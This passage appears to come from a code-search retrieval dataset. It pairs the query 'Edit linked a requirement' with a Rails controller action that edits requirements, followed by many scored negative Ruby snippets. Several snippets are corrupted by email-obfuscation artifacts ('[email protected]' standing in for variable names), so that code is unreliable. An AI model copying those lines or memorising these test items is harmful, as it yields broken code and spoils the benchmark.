"score": "0.529429",
"text": "def events_for_authenticated_user page\n events = api_client.received_events(authenticated_user, page: page)\n filter_events events\n end",
"title": ""
},
{
"docid": "2b8078d10b89233a879011be05c9a95a",
"score": "0.5292463",
"text": "def user_email_list\n @email_list = []\n\n EmailList.all.each do |email|\n if email.creator_id == current_user.id\n @email_list << email \n end\n end\n @email_list\n end",
"title": ""
},
{
"docid": "f74d18d43f7d000411780a1986ba6d1b",
"score": "0.52894324",
"text": "def gated_discovery_filters\n return super if @access != :deposit\n [\"{!terms f=id}#{admin_set_ids_for_deposit.join(',')}\"]\n end",
"title": ""
},
{
"docid": "0ca7c3777cfb4fcdf9827616f7210a71",
"score": "0.52875686",
"text": "def requestees\n @requestees_arr = []\n current_user= User.where(id: self.id)\n requestees = current_user[0].request_received\n\n requestees.each do |r|\n @requestees_arr.push(r.user)\n end\n\n @requestees_arr\n \n\n end",
"title": ""
}
] |
abb75321e0db47b8b760f69c16ac86d8
|
Edit linked a requirement
|
[
{
"docid": "e2843953d2971143f9b5334862c70c3a",
"score": "0.561065",
"text": "def edit_requirement_tracker\n find_user\n if [email protected]?\n\n [email protected]\n\n if ((status!=\"Approved\" and params[:requirement][:status]==\"Approved\" and (@user.privilige==\"Admin\" or @user.privilige==\"Approve\" or @user.privilige==\"Read/Write/Approve\")) or (status!=\"Approved\" and params[:requirement][:status]!=\"Approved\" and (@user.privilige!=\"Read\")) or (status==\"Approved\" and @user.privilige==\"Admin\") or (status==\"Approved\" and params[:requirement][:status]==\"Approved\" and !params[:requirement][:delivered].empty? and @user.privilige!=\"Read\"))\n if @req.update_attributes(params[:requirement])\n if (!params[:requirement][:status].nil?)\n\n if (status!=\"Approved\" and params[:requirement][:status]==\"Approved\")\n\n if !current_user.nil?\n first_name=@project_req.find_user_first_name(current_user.id)\n Requirement.notification_approved(current_user.id, @req.project_id, @req, first_name)\n else\n first_name=@project_req.find_member_first_name(@user.id)\n Requirement.notification_approved(@user.user_id, @req.project_id, @req, first_name)\n end\n elsif (status!=\"For Review\" and params[:requirement][:status]==\"For Review\")\n\n if !current_user.nil?\n [email protected]_user_first_name(current_user.id)\n Requirement.notification_reviewed(current_user.id, @req.project_id, @req, first_name)\n else\n [email protected]_member_first_name(@user.id)\n Requirement.notification_reviewed(@user.user_id, @req.project_id, @req, first_name)\n end\n elsif (status==\"Approved\" and params[:requirement][:status]!=\"Approved\")\n\n if !current_user.nil?\n [email protected]_user_first_name(current_user.id)\n Requirement.notification_no_approved(current_user.id, @req.project_id, @req, first_name)\n else\n [email protected]_member_first_name(@user.id)\n Requirement.notification_no_approved(@user.user_id, @req.project_id, @req, first_name)\n end\n end\n end\n\n end\n @attr=Attribute.find_by_project_id(session[:project_id])\n if !session[:tracker_id].nil?\n @tracker=Tracker.find(session[:tracker_id])\n redirect_to show_tracker_req_url(@tracker.id)\n else\n redirect_to trackers_path\n end\n\n else\n\n\n flash[:notice]= t(:requirement_edit_message_with_out_permisson)\n redirect_to :back\n end\n else\n redirect_to sign_in_url\n end\n end",
"title": ""
}
] |
[
{
"docid": "3d0726c4ad279e38db228416b5b37a60",
"score": "0.65400624",
"text": "def set_requirement\n @requirement = Requirement.find(params[:id])\n end",
"title": ""
},
{
"docid": "3d0726c4ad279e38db228416b5b37a60",
"score": "0.65400624",
"text": "def set_requirement\n @requirement = Requirement.find(params[:id])\n end",
"title": ""
},
{
"docid": "3d0726c4ad279e38db228416b5b37a60",
"score": "0.65400624",
"text": "def set_requirement\n @requirement = Requirement.find(params[:id])\n end",
"title": ""
},
{
"docid": "3d0726c4ad279e38db228416b5b37a60",
"score": "0.65400624",
"text": "def set_requirement\n @requirement = Requirement.find(params[:id])\n end",
"title": ""
},
{
"docid": "191915f7ff60c9ddef62a0882f61ae62",
"score": "0.6530828",
"text": "def set_requirement\n @requirement = Requirement.find(params[:id])\n end",
"title": ""
},
{
"docid": "191915f7ff60c9ddef62a0882f61ae62",
"score": "0.6530828",
"text": "def set_requirement\n @requirement = Requirement.find(params[:id])\n end",
"title": ""
},
{
"docid": "f260317a723f49a1b6c773469555c90e",
"score": "0.64118326",
"text": "def edit_question(part_num, question_num)\n frm.link(:id=>\"assesssmentForm:parts:#{part_num.to_i-1}:parts:#{question_num.to_i-1}:modify\").click\n end",
"title": ""
},
{
"docid": "1b9f565bc22e8cbe4fdde7bc14a4edc3",
"score": "0.625331",
"text": "def update\n respond_to do |format|\n if @requirement.update(requirement_params)\n format.html { redirect_to requirements_path, notice: \"Requisito (#{@requirement.name}) atualizado com sucesso!\" }\n format.json { render :show, status: :ok, location: @requirement }\n else\n format.html { render :edit }\n format.json { render json: @requirement.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2deea28c36c49cc96d8b6236dbcc83f0",
"score": "0.6219848",
"text": "def update\n @requirement = Requirement.find(params[:id])\n\n respond_to do |format|\n if @requirement.update_attributes(params[:requirement])\n format.html { redirect_to(@requirement, :notice => 'Requirement was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @requirement.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f5be1a978632144ad3b77e4733992cb7",
"score": "0.6181141",
"text": "def update\n authorize @study_program_element\n @study_program = StudyProgram.find(params[:study_program_id])\n @requirement = Requirement.find(params[:requirement_id])\n if @study_program_element.update(study_program_element_params)\n redirect_to study_program_requirements_path(@study_program), notice: 'Element uspešno posodbljen.'\n else\n render :edit\n end\n end",
"title": ""
},
{
"docid": "e4f60b4101e5eb26f3d5aafc562606a2",
"score": "0.6151623",
"text": "def set_requirement_item\n @requirement_item = RequirementItem.find(params[:id])\n end",
"title": ""
},
{
"docid": "daecf6f61903e0cd5581d865988168e5",
"score": "0.61226714",
"text": "def update\n respond_to do |format|\n if @requirement.update(requirement_params)\n format.html { redirect_to @requirement, notice: 'Requirement was successfully updated.' }\n format.json { render :show, status: :ok, location: @requirement }\n else\n format.html { render :edit }\n format.json { render json: @requirement.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cb074b527b55ce8d6619e4c3ea91a645",
"score": "0.608593",
"text": "def edit_requirement_use\n find_user\n if [email protected]?\n [email protected]\n if ((status!=\"Approved\" and params[:requirement][:status]==\"Approved\" and (@user.privilige==\"Admin\" or @user.privilige==\"Approve\" or @user.privilige==\"Read/Write/Approve\")) or (status!=\"Approved\" and params[:requirement][:status]!=\"Approved\" and (@user.privilige!=\"Read\")) or (status==\"Approved\" and @user.privilige==\"Admin\")or (status==\"Approved\" and params[:requirement][:status]==\"Approved\" and !params[:requirement][:delivered].empty? and @user.privilige!=\"Read\"))\n if @req.update_attributes(params[:requirement])\n if (!params[:requirement][:status].nil?)\n\n if (status!=\"For Review\" and params[:requirement][:status]==\"For Review\")\n\n if !current_user.nil?\n [email protected]_user_first_name(current_user.id)\n Requirement.notification_approved(current_user.id, @req.project_id, @req, first_name)\n else\n [email protected]_user_first_name(current_member.id)\n Requirement.notification_approved(@user.user_id, @req.project_id, @req, first_name)\n end\n elsif (status!=\"Reviewed\" and params[:requirement][:status]==\"Reviewed\")\n\n if !current_user.nil?\n [email protected]_user_first_name(current_user.id)\n Requirement.notification_reviewed(current_user.id, @req.project_id, @req, first_name)\n else\n [email protected]_member_first_name(@user.id)\n Requirement.notification_reviewed(@user.user_id, @req.project_id, @req, first_name)\n end\n elsif (status==\"Approved\" and params[:requirement][:status]!=\"Approved\")\n\n if !current_user.nil?\n [email protected]_user_first_name(current_user.id)\n Requirement.notification_no_approved(current_user.id, @req.project_id, @req, first_name)\n else\n [email protected]_member_first_name(@user.id)\n Requirement.notification_no_approved(@user.user_id, @req.project_id, @req, first_name)\n end\n end\n end\n\n end\n assign_project\n @attr=Attribute.find_by_project_id(session[:project_id])\n if !session[:use_case_id].nil?\n redirect_to show_requirements_url(@use_case.id)\n else\n redirect_to use_cases_path\n end\n\n else\n\n\n flash[:notice]= t(:requirement_edit_message_with_out_permisson)\n redirect_to :back\n end\n else\n redirect_to sign_in_url\n end\n end",
"title": ""
},
{
"docid": "af775eb11d4b9f51a44982dda02234ba",
"score": "0.60842544",
"text": "def update\n\n params[:requirement][:industry_ids] ||= []\n if params['Submit_for_Approval']\n @requirement.status = 'Submitted'\n end\n if params[:requirement][:status] == \"Rejected\"\n Requirement.destroy(params[:id])\n redirect_to requirements_path\n else\n respond_to do |format|\n if @requirement.update_attributes(params[:requirement])\n if (params['Submit_for_Approval']) and (@requirement.status != 'Submitted')\n flash[:error] = 'Could not submit requirement for approval'\n end\n format.html { redirect_to @requirement, notice: 'Requirement was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @requirement.errors, status: :unprocessable_entity }\n end\n end\n end\n\n end",
"title": ""
},
{
"docid": "5813bf180bc551655e20cdebb5e531e6",
"score": "0.60326046",
"text": "def update\n @vdocs_requirement = VdocsRequirement.find(params[:id])\n\t@contract = @vdocs_requirement.contract\n\n respond_to do |format|\n if @vdocs_requirement.update_attributes(params[:vdocs_requirement])\n flash[:notice] = 'VdocsRequirement was successfully updated.'\n format.html { redirect_to(@vdocs_requirement) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vdocs_requirement.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b97f9c37a7d5740631ab55d37671da0b",
"score": "0.6015825",
"text": "def update\n if @requirement.update(requirement_params)\n render :show, status: :ok, location: @requirement\n else\n render json: @requirement.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "96f481d3127e5c7aabc9bdaf708e8c33",
"score": "0.60001916",
"text": "def set_special_requirement\n @special_requirement = SpecialRequirement.find(params[:id])\n end",
"title": ""
},
{
"docid": "cd082508e812e8b5917d1c89bbee365d",
"score": "0.5958982",
"text": "def update!(**args)\n @gconcept = args[:gconcept] if args.key?(:gconcept)\n @is_required = args[:is_required] if args.key?(:is_required)\n end",
"title": ""
},
{
"docid": "97dbf606f5f65dd923e04f70dcbcc818",
"score": "0.5956624",
"text": "def edit_patron(selected)\n\tedit_patron_name(selected)\n\tedit_patron_email_address(selected)\nend",
"title": ""
},
{
"docid": "b18f2190c61ab2dce77494811613c2ef",
"score": "0.59231025",
"text": "def update\n respond_to do |format|\n if @special_requirement.update(special_requirement_params)\n format.html { redirect_to @special_requirement, notice: 'Special requirement was successfully updated.' }\n format.json { render :show, status: :ok, location: @special_requirement }\n else\n format.html { render :edit }\n format.json { render json: @special_requirement.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "62392ec4f359e9a4742ba3cd2bc61e1f",
"score": "0.5917966",
"text": "def edit_requirement_file\n find_user\n if [email protected]?\n [email protected]\n assign_project\n if ((status!=\"Approved\" and params[:requirement][:status]==\"Approved\" and (@user.privilige==\"Admin\" or @user.privilige==\"Approve\" or @user.privilige==\"Read/Write/Approve\")) or (status!=\"Approved\" and params[:requirement][:status]!=\"Approved\" and (@user.privilige==\"Admin\" or @user.privilige==\"Read/Write\" or @user.privilige==\"Read/Write/Approve\" or @user.privilige==\"Approve\")) or (status==\"Approved\" and @user.privilige==\"Admin\")or (status==\"Approved\" and params[:requirement][:status]==\"Approved\" and !params[:requirement][:delivered].empty? and @user.privilige!=\"Read\"))\n if @req.update_attributes(params[:requirement])\n if (!params[:requirement][:status].nil?)\n\n if (status!=\"Approved\" and params[:requirement][:status]==\"Approved\")\n\n if !current_user.nil?\n [email protected]_user_first_name(current_user.id)\n Requirement.notification_approved(current_user.id, @req.project_id, @req, first_name)\n else\n [email protected]_member_first_name(@user.id)\n Requirement.notification_approved(@user.user_id, @req.project_id, @req, first_name)\n end\n elsif (status!=\"For Review\" and params[:requirement][:status]==\"For Review\")\n\n if !current_user.nil?\n [email protected]_user_first_name(current_user.id)\n Requirement.notification_reviewed(current_user.id, @req.project_id, @req, first_name)\n else\n [email protected]_member_first_name(@user.id)\n Requirement.notification_reviewed(@user.user_id, @req.project_id, @req, first_name)\n end\n elsif (status==\"Approved\" and params[:requirement][:status]!=\"Approved\")\n find_user\n if !current_user.nil?\n [email protected]_user_first_name(current_user.id)\n Requirement.notification_no_approved(current_user.id, @req.project_id, @req, first_name)\n else\n [email protected]_member_first_name(@user.id)\n Requirement.notification_no_approved(@user.user_id, @req.project_id, @req, first_name)\n end\n end\n end\n\n end\n @attr=Attribute.find_by_project_id(session[:project_id])\n if !session[:file_id].nil?\n @file=ProjectFile.find(session[:file_id])\n redirect_to show_file_reqs_url(@file.id)\n else\n redirect_to project_files_path\n end\n\n else\n\n\n flash[:notice]= t(:requirement_edit_message_with_out_permisson)\n redirect_to :back\n end\n else\n redirect_to sign_in_url\n end\n end",
"title": ""
},
{
"docid": "eefea4f0b0431ba12b4acfca55e05f1c",
"score": "0.59159774",
"text": "def set_line\n @procedure_requirement = ProcedureRequirement.find(params[:id])\n end",
"title": ""
},
{
"docid": "602c95bd3a17dfa56a3bc21bb040135a",
"score": "0.58611864",
"text": "def edit_assignment(assignment_name)\n index = assignments_titles.index(assignment_name)\n frm.link(:text=>\"Edit\", :index=>index).click\n AddAssignments.new(@browser)\n end",
"title": ""
},
{
"docid": "0c84b2f417105c5069819c9af6ec7f5e",
"score": "0.58459085",
"text": "def update\n @crit_requirement = CritRequirement.find(params[:id])\n\n respond_to do |format|\n if @crit_requirement.update_attributes(params[:crit_requirement])\n format.html { redirect_to(@crit_requirement, :notice => 'Crit requirement was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @crit_requirement.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2ad2ae95a5936664c50c8e4b7d3a28ea",
"score": "0.58415896",
"text": "def update\n respond_to do |format|\n if @requirement.update_attributes(requirement_params)\n format.html { redirect_to action: :index, notice: 'Update Success.' }\n format.json { render action: :index, status: :accepted }\n else\n format.html { render action: :edit }\n format.json { render json: @requirement.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "db1fa798a0a6895daf9311629ad0c5fb",
"score": "0.58324707",
"text": "def edit\n\n [email protected]\n find_user\n if [email protected]?\n if ((status!=\"Approved\" and params[:requirement][:status]==\"Approved\" and (@user.privilige==\"Admin\" or @user.privilige==\"Approve\" or @user.privilige==\"Read/Write/Approve\")) or (status!=\"Approved\" and params[:requirement][:status]!=\"Approved\" and (@user.privilige==\"Admin\" or @user.privilige==\"Read/Write\" or @user.privilige==\"Read/Write/Approve\" or @user.privilige==\"Approve\")) or (status==\"Approved\" and @user.privilige==\"Admin\")or (status==\"Approved\" and params[:requirement][:status]==\"Approved\" and !params[:requirement][:delivered].empty? and @user.privilige!=\"Read\"))\n if @req.update_attributes(params[:requirement])\n if (!params[:requirement][:status].nil?)\n if (status!=\"Approved\" and params[:requirement][:status]==\"Approved\")\n\n if !current_user.nil?\n [email protected]_user_first_name(current_user.id)\n Requirement.notification_approved(current_user.id, @req.project_id, @req, first_name)\n else\n [email protected]_member_first_name(@user.id)\n Requirement.notification_approved(@user.user_id, @req.project_id, @req, first_name)\n end\n elsif (status!=\"For Review\" and params[:requirement][:status]==\"For Review\")\n if !current_user.nil?\n [email protected]_user_first_name(current_user.id)\n Requirement.notification_reviewed(current_user.id, @req.project_id, @req, first_name)\n else\n [email protected]_member_first_name(@user.id)\n Requirement.notification_reviewed(@user.user_id, @req.project_id, @req, first_name)\n end\n elsif (status==\"Approved\" and params[:requirement][:status]!=\"Approved\")\n if !current_user.nil?\n [email protected]_user_first_name(current_user.id)\n Requirement.notification_no_approved(current_user.id, @req.project_id, @req, first_name)\n else\n [email protected]_member_first_name(@user.id)\n Requirement.notification_no_approved(@user.user_id, @req.project_id, @req, first_name)\n end\n end\n end\n redirect_to requirements_path\n else\n redirect_to :back\n end\n else\n\n flash[:notice]= t(:requirement_no_approve)\n redirect_to :back\n end\n else\n redirect_to sign_in_url\n end\n end",
"title": ""
},
{
"docid": "9a5eb5a7c9d0ae1a6c4acad02ea6493c",
"score": "0.57599545",
"text": "def update_twiddle_version(requirement, version_to_be_permitted)\n old_version = requirement.requirements.first.last\n updated_v = at_same_precision(version_to_be_permitted, old_version)\n Gem::Requirement.new(\"~> #{updated_v}\")\n end",
"title": ""
},
{
"docid": "7a50b8dde89fe9290163ca8e27a336fe",
"score": "0.5756452",
"text": "def edit; end",
"title": ""
},
{
"docid": "7a50b8dde89fe9290163ca8e27a336fe",
"score": "0.5756452",
"text": "def edit; end",
"title": ""
},
{
"docid": "7a50b8dde89fe9290163ca8e27a336fe",
"score": "0.5756452",
"text": "def edit; end",
"title": ""
},
{
"docid": "7a50b8dde89fe9290163ca8e27a336fe",
"score": "0.5756452",
"text": "def edit; end",
"title": ""
},
{
"docid": "7a50b8dde89fe9290163ca8e27a336fe",
"score": "0.5756452",
"text": "def edit; end",
"title": ""
},
{
"docid": "7a50b8dde89fe9290163ca8e27a336fe",
"score": "0.5756452",
"text": "def edit; end",
"title": ""
},
{
"docid": "7a50b8dde89fe9290163ca8e27a336fe",
"score": "0.5756452",
"text": "def edit; end",
"title": ""
},
{
"docid": "7a50b8dde89fe9290163ca8e27a336fe",
"score": "0.5756452",
"text": "def edit; end",
"title": ""
},
{
"docid": "7a50b8dde89fe9290163ca8e27a336fe",
"score": "0.5756452",
"text": "def edit; end",
"title": ""
},
{
"docid": "7a50b8dde89fe9290163ca8e27a336fe",
"score": "0.5756452",
"text": "def edit; end",
"title": ""
},
{
"docid": "7a50b8dde89fe9290163ca8e27a336fe",
"score": "0.5756452",
"text": "def edit; end",
"title": ""
},
{
"docid": "7a50b8dde89fe9290163ca8e27a336fe",
"score": "0.5756452",
"text": "def edit; end",
"title": ""
},
{
"docid": "7a50b8dde89fe9290163ca8e27a336fe",
"score": "0.5756452",
"text": "def edit; end",
"title": ""
},
{
"docid": "7a50b8dde89fe9290163ca8e27a336fe",
"score": "0.5756452",
"text": "def edit; end",
"title": ""
},
{
"docid": "7a50b8dde89fe9290163ca8e27a336fe",
"score": "0.5756452",
"text": "def edit; end",
"title": ""
},
{
"docid": "7a50b8dde89fe9290163ca8e27a336fe",
"score": "0.5756452",
"text": "def edit; end",
"title": ""
},
{
"docid": "7a50b8dde89fe9290163ca8e27a336fe",
"score": "0.5756452",
"text": "def edit; end",
"title": ""
},
{
"docid": "7a50b8dde89fe9290163ca8e27a336fe",
"score": "0.5756452",
"text": "def edit; end",
"title": ""
},
{
"docid": "7a50b8dde89fe9290163ca8e27a336fe",
"score": "0.5756452",
"text": "def edit; end",
"title": ""
},
{
"docid": "7a50b8dde89fe9290163ca8e27a336fe",
"score": "0.5756452",
"text": "def edit; end",
"title": ""
},
{
"docid": "7a50b8dde89fe9290163ca8e27a336fe",
"score": "0.5756452",
"text": "def edit; end",
"title": ""
},
{
"docid": "93e690ac1d2590d3394f8ffcb3e453b1",
"score": "0.5743302",
"text": "def edit_assignment(assignment_name)\n index = assignments_titles.index(assignment_name)\n frm.link(:text=>\"Edit\", :index=>index).click\n AssignmentAdd.new(@browser)\n end",
"title": ""
},
{
"docid": "332724d842587173da93e56765161e1f",
"score": "0.5697462",
"text": "def update!(**args)\n @requisition_id = args[:requisition_id] if args.key?(:requisition_id)\n end",
"title": ""
},
{
"docid": "332724d842587173da93e56765161e1f",
"score": "0.5697462",
"text": "def update!(**args)\n @requisition_id = args[:requisition_id] if args.key?(:requisition_id)\n end",
"title": ""
},
{
"docid": "513b3596042789ef02f55e1c17ae8acc",
"score": "0.563811",
"text": "def updated_gemfile_requirement(req)\n return req unless latest_resolvable_version\n return req if existing_version && no_change_in_version?\n return req if !existing_version && new_version_satisfies?(req)\n\n requirements =\n req[:requirement].split(\",\").map { |r| Gem::Requirement.new(r) }\n\n new_req =\n if requirements.any?(&:exact?)\n \"= #{latest_resolvable_version}\"\n elsif requirements.any? { |r| r.to_s.start_with?(\"~>\") }\n tw_req = requirements.find { |r| r.to_s.start_with?(\"~>\") }\n update_twiddle_version(tw_req, latest_resolvable_version).to_s\n else\n update_gemfile_range(requirements).map(&:to_s).join(\", \")\n end\n\n req.merge(requirement: new_req)\n end",
"title": ""
},
{
"docid": "a08cea9b9b2428e97509d97aa3c1769d",
"score": "0.5597191",
"text": "def update(opts={})\n on RequisitionPage do |page|\n edit_fields opts, page, :description, :payment_request_positive_approval_required,\n :delivery_phone_number, :requestor_phone, :vendor_notes, :delivery_instructions\n end\n update_options(opts)\n end",
"title": ""
},
{
"docid": "9e91d87e52bad4c93daa72b07d7d3672",
"score": "0.5583361",
"text": "def update\n respond_to do |format|\n if @requirement.update(requirement_params)\n format.html {\n flash[:success] = 'Rank was successfully created.'\n redirect_to @requirement\n }\n format.json { render :show, status: :ok, location: @requirement }\n else\n format.html { render :edit }\n format.json { render json: @requirement.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "93fbb76fb9984b9c126fa1ab3522a027",
"score": "0.55720145",
"text": "def update\n respond_to do |format|\n if @requirement_item.update(requirement_item_params)\n format.html { redirect_to @requirement_item, notice: 'Requirement item was successfully updated.' }\n format.json { render :show, status: :ok, location: @requirement_item }\n else\n format.html { render :edit }\n format.json { render json: @requirement_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7c3312ab9a6853bf31f46d054cd63ed0",
"score": "0.55598086",
"text": "def replace_keyword_in_requirement\n reqs = Requirement.where(project: project)\n reqs.each do |req|\n next unless req.description.include?(key)\n abbr = \"<abbr title='#{definition}'>#{key}</abbr>\"\n newdesc = if req.description[%r{<abbr title='[A-Za-z0-9 ,.\\-]*'>#{key}</abbr>}]\n req.description.gsub(%r{<abbr title='[A-Za-z0-9 ,.\\-]*'>#{key}</abbr>}, abbr)\n else\n req.description.gsub(key, abbr)\n end\n req.update(description: newdesc)\n req.save\n end\n end",
"title": ""
},
{
"docid": "df9f5e7a8ee9177de214354201dafbaa",
"score": "0.5551993",
"text": "def edit\n \n end",
"title": ""
},
{
"docid": "513418d03e38eb2af4e58bf153b35379",
"score": "0.55357563",
"text": "def requirement_params\n params.require(:requirement).permit(:description, :hours_required, :requirement_id)\n end",
"title": ""
},
{
"docid": "e713f857ab99a105162cfc32885d5e51",
"score": "0.5532792",
"text": "def edit_patron_name(selected)\n\tp = Patron.find(selected)\n\tprint \"\\nTo edit the patron name please enter here: \"\n\tname = gets.chomp\n\tp.update_attributes(name: name)\nend",
"title": ""
},
{
"docid": "64deade8586b09530d81102e7c155d30",
"score": "0.5525154",
"text": "def edit\n\t\t# must have admin access or be in the course\n\tend",
"title": ""
},
{
"docid": "b961600c4082a8b9895b8687c8613660",
"score": "0.55064166",
"text": "def edit\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "4c9e4b0a13e67c50d82ed7e4aebd7f28",
"score": "0.5498702",
"text": "def set_case_requirement\n @case_req = CaseRequirement.find(params[:id])\n end",
"title": ""
},
{
"docid": "4d482af8003cca5ebe8a1af6996ad91c",
"score": "0.548755",
"text": "def update!(**args)\n @delivery_requirement = args[:delivery_requirement] if args.key?(:delivery_requirement)\n end",
"title": ""
},
{
"docid": "f5e5dd737e9a29b195ff10699397f3b6",
"score": "0.5482531",
"text": "def edit_patron_email_address(selected)\n\tp = Patron.find(selected)\n\tprint \"To edit the patron email address please enter here: \"\n\temail_address = gets.chomp\n\tp.update_attributes(email_address: email_address)\nend",
"title": ""
},
{
"docid": "2516d6a4186522f92476556887d02c02",
"score": "0.54753983",
"text": "def update!(**args)\n @completable_field_path = args[:completable_field_path] if args.key?(:completable_field_path)\n @suggestion = args[:suggestion] if args.key?(:suggestion)\n end",
"title": ""
},
{
"docid": "4f8cfff08f41d00b859979e65c1256b3",
"score": "0.5475233",
"text": "def requirement_params\n params.require(:requirement).permit(:revision, :rank_id, :req_category, :req_num, :description)\n end",
"title": ""
},
{
"docid": "144a0fe903e2f0f4523551a053da195e",
"score": "0.5468566",
"text": "def edit_library(selected)\n\tedit_library_name(selected)\n\tedit_library_address(selected)\n\tedit_library_phone(selected)\nend",
"title": ""
},
{
"docid": "46d9bbf220c528df22c5f59c925a2d59",
"score": "0.54610956",
"text": "def comfirm_edit(collection_id, question_id, question)\r\n new_custom = @custom.custom_load\r\n new_custom['Custom'][collection_id - 1]['Content'][question_id - 1] = question\r\n save_custom_file(new_custom)\r\n enter_to_continue\r\n edit_single_question(collection_id, question)\r\n end",
"title": ""
},
{
"docid": "3a489193cb2e3afd88afa253ac156861",
"score": "0.5445666",
"text": "def requirement_params\n params.require(:requirement).permit(:name, :description)\n end",
"title": ""
},
{
"docid": "a265dcb83db79164817c4964d7bfbd5c",
"score": "0.54400396",
"text": "def update\n @requirement_priority = RequirementPriority.find(params[:id])\n\n respond_to do |format|\n if @requirement_priority.update_attributes(params[:requirement_priority])\n format.html { redirect_to @requirement_priority, :notice => 'Requirement priority was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @requirement_priority.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "328a67f7f985dbf7cb5e0ad168b14664",
"score": "0.54392666",
"text": "def set_course_requirement\n @course_requirement = Course_requirement.find(params[:id])\n end",
"title": ""
},
{
"docid": "7fb619a38f7791b5c4ebf1d9d9a4daf3",
"score": "0.54305816",
"text": "def edit_assignment_id(id)\n frm.link(:href=>/#{Regexp.escape(id)}/).click\n AssignmentAdd.new(@browser)\n end",
"title": ""
},
{
"docid": "77f32702b20200a8d1618b830f3a4c49",
"score": "0.54302293",
"text": "def update\n respond_to do |format|\n if @funding_requirement.update(funding_requirement_params)\n format.html { redirect_to @funding_requirement, notice: 'Funding requirement was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @funding_requirement.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3c4103ce3684c6ae8a3a913872a41c32",
"score": "0.5427258",
"text": "def update!(**args)\n @boolean_constraint = args[:boolean_constraint] if args.key?(:boolean_constraint)\n @constraint_default = args[:constraint_default] if args.key?(:constraint_default)\n @description = args[:description] if args.key?(:description)\n @display_name = args[:display_name] if args.key?(:display_name)\n @list_constraint = args[:list_constraint] if args.key?(:list_constraint)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "7482725ebe7ff21fb319c7ec84bc7138",
"score": "0.5408688",
"text": "def update\n @event_requirement = EventRequirement.find(params[:id])\n\n if @event_requirement.update(event_requirement_params)\n head :no_content\n else\n render json: @event_requirement.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "1a7fe11204b539255d6a43f252ce1294",
"score": "0.5394549",
"text": "def edit\n @short = params[:short]\n @noted = @footnote.noted\n end",
"title": ""
},
{
"docid": "095aa84f0fae1a9cbab83db42d1df065",
"score": "0.5393073",
"text": "def edit_library_address(selected)\n\tl = Library.find(selected)\n\tprint \"To edit the library address please enter here: \"\n\taddress = gets.chomp\n\tl.update_attributes(address: address)\nend",
"title": ""
},
{
"docid": "92724a3a3b15ef4d7a263d229db51131",
"score": "0.5383545",
"text": "def edit\n \n end",
"title": ""
},
{
"docid": "92724a3a3b15ef4d7a263d229db51131",
"score": "0.5383545",
"text": "def edit\n \n end",
"title": ""
},
{
"docid": "92724a3a3b15ef4d7a263d229db51131",
"score": "0.5383545",
"text": "def edit\n \n end",
"title": ""
},
{
"docid": "92724a3a3b15ef4d7a263d229db51131",
"score": "0.5383545",
"text": "def edit\n \n end",
"title": ""
},
{
"docid": "92724a3a3b15ef4d7a263d229db51131",
"score": "0.5383545",
"text": "def edit\n \n end",
"title": ""
},
{
"docid": "92724a3a3b15ef4d7a263d229db51131",
"score": "0.5383545",
"text": "def edit\n \n end",
"title": ""
},
{
"docid": "92724a3a3b15ef4d7a263d229db51131",
"score": "0.5383545",
"text": "def edit\n \n end",
"title": ""
},
{
"docid": "26c301601aaa881e684a514b9be9e881",
"score": "0.5371321",
"text": "def update_greatest_version(requirement, version_to_be_permitted)\n if version_to_be_permitted.is_a?(String)\n version_to_be_permitted =\n Gem::Version.new(version_to_be_permitted)\n end\n op, version = requirement.requirements.first\n version = version.release if version.prerelease?\n\n index_to_update =\n version.segments.map.with_index { |seg, i| seg.zero? ? 0 : i }.max\n\n new_segments = version.segments.map.with_index do |_, index|\n if index < index_to_update\n version_to_be_permitted.segments[index]\n elsif index == index_to_update\n version_to_be_permitted.segments[index] + 1\n else 0\n end\n end\n\n Gem::Requirement.new(\"#{op} #{new_segments.join('.')}\")\n end",
"title": ""
},
{
"docid": "52e4e801a26076a97584a36e09017907",
"score": "0.53669477",
